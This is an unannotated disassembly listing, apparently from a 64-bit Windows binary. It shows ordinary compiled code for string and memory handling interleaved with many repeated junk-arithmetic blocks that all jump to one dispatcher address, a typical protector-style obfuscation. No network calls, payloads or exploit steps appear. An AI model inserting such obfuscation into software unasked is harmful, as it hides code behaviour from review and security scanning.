cmp rdx, 0xf
jbe 0x14042e4bf
push rax
pushf
mov eax, 0xfb221c67
pushf
not eax
add eax, 0xf41de78d
xor eax, 0xb6ae8e74
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x86819036
xor eax, 0xc16e55de
rol eax, 0x48
popf
pushf
not eax
add eax, 0xc85b780d
xor eax, 0xeda9226f
rol eax, 0xae
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x33a1d148
pushf
not eax
add eax, 0xe6cf2685
xor eax, 0xaacc0709
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xd6b03cd1
xor eax, 0xc9bf93a6
rol eax, 0x63
popf
jmp 0x140428fd2
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14042e538
push rax
pushf
mov eax, 0x9281af7b
pushf
not eax
add eax, 0xe17c4f09
xor eax, 0xdae5a795
rol eax, 0x35
popf
pushf
not eax
add eax, 0x89155557
xor eax, 0x8602506f
rol eax, 0x38
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x1741a6bc
pushf
not eax
add eax, 0xdcfa32c7
xor eax, 0xab5118a7
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xdd9a8934
xor eax, 0xf9648ec5
rol eax, 0x15
popf
pushf
not eax
add eax, 0xb62db21b
xor eax, 0x9e544156
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xaedb145c
xor eax, 0x840e773c
rol eax, 0xa
popf
jmp 0x140428fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14042e5d9
push rax
pushf
mov eax, 0xb03185ff
pushf
not eax
add eax, 0xd0cf700c
xor eax, 0x9d9a4872
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xfd031742
xor eax, 0xd51742d7
rol eax, 0x9d
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x207f7493
pushf
not eax
add eax, 0x8114fce9
xor eax, 0xb42d98a1
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xb64ca4f0
xor eax, 0xb0b9f37a
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x85d477b3
xor eax, 0xf6363f6c
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xe568f2aa
xor eax, 0x8b9a3a4d
rol eax, 0xc0
popf
jmp 0x140428fd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0xe9e91ee2
pushf
not eax
add eax, 0xf59d1d6a
xor eax, 0xe9525fe0
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xb34fa490
xor eax, 0xedba9188
rol eax, 0x97
popf
pushf
not eax
add eax, 0xd58b1e8a
xor eax, 0xc5e3ae45
rol eax, 3
popf
pushf
not eax
add eax, 0x97f5d6f6
xor eax, 0xd3c0c8a1
rol eax, 0x58
popf
jmp 0x140428fd2
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14042e73e
push rax
pushf
mov eax, 0x9866c327
pushf
not eax
add eax, 0xd1e70adf
xor eax, 0x871a939b
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xc56a2414
xor eax, 0xdbbca3c8
rol eax, 0x99
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xaaac870a
pushf
not eax
add eax, 0xe1d3e087
xor eax, 0xb4031460
rol eax, 0x93
popf
pushf
not eax
add eax, 0xefed6ba5
xor eax, 0xa7095293
rol eax, 0x23
popf
jmp 0x140428fd2
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14042e7ca
push rax
pushf
mov eax, 0xf616ec12
pushf
not eax
add eax, 0xc24e6096
xor eax, 0x8e1b0ac4
rol eax, 0
popf
pushf
not eax
add eax, 0xb28ad1be
xor eax, 0xa0c347e0
rol eax, 0x76
popf
pushf
not eax
add eax, 0xacfd1517
xor eax, 0x8378edd1
rol eax, 0xad
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x40ca06a2
pushf
not eax
add eax, 0xb8dd81ec
xor eax, 0xfbff87d4
rol eax, 0xda
popf
pushf
not eax
add eax, 0xe9eacb0c
xor eax, 0xf3db1711
rol eax, 0x84
popf
jmp 0x140428fd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0xc6c0215b
pushf
not eax
add eax, 0x89019525
xor eax, 0xab653a90
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xd5726768
xor eax, 0xe26d3f68
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xe3f9f202
xor eax, 0xd2389db7
rol eax, 0xab
popf
jmp 0x140428fd2
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14042e998
push rax
pushf
mov eax, 0xe27ff1a6
pushf
not eax
add eax, 0xb8a5e157
xor eax, 0x8fe25196
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xac54add5
xor eax, 0x939870bc
rol eax, 0x69
popf
pushf
not eax
add eax, 0xc3feee3a
xor eax, 0xa7344e26
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xff1d5eac
xor eax, 0xf5e6fb9a
rol eax, 0x68
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x5844bfd1
pushf
not eax
add eax, 0x849362a2
xor eax, 0xd6692ab8
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xa94c02a9
xor eax, 0xdbae5d87
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xf2a7f628
xor eax, 0xce23b4d0
rol eax, 0x63
popf
pushf
not eax
add eax, 0xd7551c9c
xor eax, 0xbf9b35ea
rol eax, 0x46
popf
jmp 0x140428fd2
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14042ea5d
push rax
pushf
mov eax, 0x85d88f39
pushf
not eax
add eax, 0xaa123d27
xor eax, 0x9a8d5fb0
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x9e9d51fe
xor eax, 0xb0f1ef08
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xc3417772
xor eax, 0xb5ead36e
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x9967dd3a
xor eax, 0x835734aa
rol eax, 0x11
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x3ec950b
pushf
not eax
add eax, 0x80b2ad50
xor eax, 0x8c0ed915
rol eax, 0x42
popf
pushf
not eax
add eax, 0x934f939b
xor eax, 0xd02c8f49
rol eax, 0xff
popf
jmp 0x140428fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14042eafe
push rax
pushf
mov eax, 0x401c407a
pushf
not eax
add eax, 0xee73ff8a
xor eax, 0xa067d4d3
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xfbfa21ba
xor eax, 0xd7285a6c
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xdbc1725a
xor eax, 0x95dcd815
rol eax, 0x39
popf
pushf
not eax
add eax, 0xf956be4f
xor eax, 0x929428d3
rol eax, 0x5f
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x8ae280d7
pushf
not eax
add eax, 0xdba1abf2
xor eax, 0x9c402307
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xda40ed8b
xor eax, 0xdb6f15f1
rol eax, 0x96
popf
pushf
not eax
add eax, 0xed4115a2
xor eax, 0x919f0ba4
rol eax, 0x71
popf
pushf
not eax
add eax, 0x90d469f2
xor eax, 0x9b4d168d
rol eax, 0xbf
popf
jmp 0x140428fd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14042ed3f
push rax
pushf
mov eax, 0x4f67a1e1
pushf
not eax
add eax, 0xdf8dfdcc
xor eax, 0xc278e159
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xd2014166
xor eax, 0xe95e1630
rol eax, 0x48
popf
pushf
not eax
add eax, 0xb0fb91a7
xor eax, 0x9f5c422d
rol eax, 0x10
popf
pushf
not eax
add eax, 0xe19301ba
xor eax, 0xc65ade0e
rol eax, 0x5b
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xd8220fdd
pushf
not eax
add eax, 0x90e17ce7
xor eax, 0xdd984845
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x931f345e
xor eax, 0x8faf56b3
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xdcf3ce2c
xor eax, 0xfa983aa4
rol eax, 0x81
popf
jmp 0x140428fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14042edcd
push rax
pushf
mov eax, 0x38fad916
pushf
not eax
add eax, 0x96bab655
xor eax, 0xa0229a00
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xceae3d51
xor eax, 0xda5c68dd
rol eax, 0x2d
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x269a0f95
pushf
not eax
add eax, 0xf8ea0d1a
xor eax, 0xf23d5984
rol eax, 0xda
popf
pushf
not eax
add eax, 0xa9a5d9de
xor eax, 0xa926474d
rol eax, 0x36
popf
jmp 0x140428fd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
nop
push rax
pushf
mov eax, 0x709a76f1
pushf
not eax
add eax, 0x8b7f6e84
xor eax, 0xa3c603f4
rol eax, 0x58
popf
pushf
not eax
add eax, 0xa144f9dc
xor eax, 0xa28bd6e3
rol eax, 0xa5
popf
jmp 0x140428fd2
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14042eeee
push rax
pushf
mov eax, 0x747a61db
pushf
not eax
add eax, 0xdacf635d
xor eax, 0xf99db221
rol eax, 0xec
popf
pushf
not eax
add eax, 0xc734d408
xor eax, 0x93faca0f
rol eax, 0x45
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x5577b4d8
pushf
not eax
add eax, 0xda4c36d8
xor eax, 0xa4d470cc
rol eax, 0x15
popf
pushf
not eax
add eax, 0xc00a7231
xor eax, 0x99a2ca12
rol eax, 0xb5
popf
jmp 0x140428fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14042ef69
push rax
pushf
mov eax, 0xddbc9ed2
pushf
not eax
add eax, 0xf844e97f
xor eax, 0xbb039b38
rol eax, 0x58
popf
pushf
not eax
add eax, 0x91ef4c24
xor eax, 0x9d4dc05b
rol eax, 0xa4
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x29a77c32
pushf
not eax
add eax, 0xbafe4570
xor eax, 0xaa536629
rol eax, 0x95
popf
pushf
not eax
add eax, 0x96a35d6b
xor eax, 0x9a1bfcb4
rol eax, 0xa7
popf
jmp 0x140428fd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14042f073
push rax
pushf
mov eax, 0x6b0558d
pushf
not eax
add eax, 0xc6f147f5
xor eax, 0xe84b779c
rol eax, 4
popf
pushf
not eax
add eax, 0xc5ce57dc
xor eax, 0xe69e401e
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x80facd70
xor eax, 0xd0fe6fae
rol eax, 0xab
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x3b92b134
pushf
not eax
add eax, 0xeb580a93
xor eax, 0xc325eea1
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd7a5892e
xor eax, 0x944e444a
rol eax, 0x66
popf
pushf
not eax
add eax, 0x9899eb87
xor eax, 0xd24b727a
rol eax, 0x63
popf
jmp 0x140428fd2
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14042f125
push rax
pushf
mov eax, 0x8e762993
pushf
not eax
add eax, 0xb24cfb06
xor eax, 0x83424f50
rol eax, 0x70
popf
pushf
not eax
add eax, 0xd758461b
xor eax, 0xdce2a362
rol eax, 0x43
popf
pushf
not eax
add eax, 0xf00969de
xor eax, 0x9c9657b8
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xcab0e872
xor eax, 0xdc7525ff
rol eax, 0xf8
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x88001a34
pushf
not eax
add eax, 0x922d43bf
xor eax, 0xc3a1586d
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x9ead2a98
xor eax, 0xb4904230
rol eax, 0xee
popf
pushf
not eax
add eax, 0xbd7fa853
xor eax, 0xeccd7c18
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x9167642d
xor eax, 0xc0c1cbaf
rol eax, 0x8b
popf
jmp 0x140428fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14042f1c6
push rax
pushf
mov eax, 0x7da1083c
pushf
not eax
add eax, 0xd6ae6d14
xor eax, 0xdced3f3f
rol eax, 0x27
popf
pushf
not eax
add eax, 0xb26cc696
xor eax, 0xc2181253
rol eax, 0xb2
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xc813a84d
pushf
not eax
add eax, 0xef3b48f3
xor eax, 0xe31a62a8
rol eax, 0x44
popf
pushf
not eax
add eax, 0xa909139e
xor eax, 0xbc466cef
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xb10bd231
xor eax, 0x8fd29de4
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xcb52f0ed
xor eax, 0x89dd8d7b
rol eax, 0x81
popf
jmp 0x140428fd2
call fcn.140432633
push rax
pushf
mov eax, 0x15c8e348
pushf
not eax
add eax, 0x8b941af7
xor eax, 0x97c1a819
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xf755c104
xor eax, 0xfee6ee6a
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x8d634e97
xor eax, 0x8b0f0ccf
rol eax, 0x68
popf
pushf
not eax
add eax, 0xbb0a3b0b
xor eax, 0xb62937a9
rol eax, 0xe4
popf
jmp 0x140428fd2
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140319880
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14012a680
nop
push rax
pushf
mov eax, 0x8906efbf
pushf
not eax
add eax, 0xfbc8c309
xor eax, 0xa29306ab
rol eax, 0x88
popf
pushf
not eax
add eax, 0x8c6bf743
xor eax, 0x8fd67fd8
rol eax, 0x60
popf
pushf
not eax
add eax, 0x82903bb2
xor eax, 0xcc5c3007
rol eax, 0x93
popf
jmp 0x140428fd2
call fcn.14012a5e0
int3
call fcn.14012a5e0
int3
call fcn.14012a680
nop
push rax
pushf
mov eax, 0xf10ed947
pushf
not eax
add eax, 0xe7696420
xor eax, 0xdadd192a
rol eax, 5
popf
pushf
not eax
add eax, 0xfda1f6ff
xor eax, 0xa28498f6
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x9d32b404
xor eax, 0xe114eec0
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x81e95a99
xor eax, 0xcc59141a
rol eax, 0x83
popf
jmp 0x140428fd2
call fcn.14012a680
int3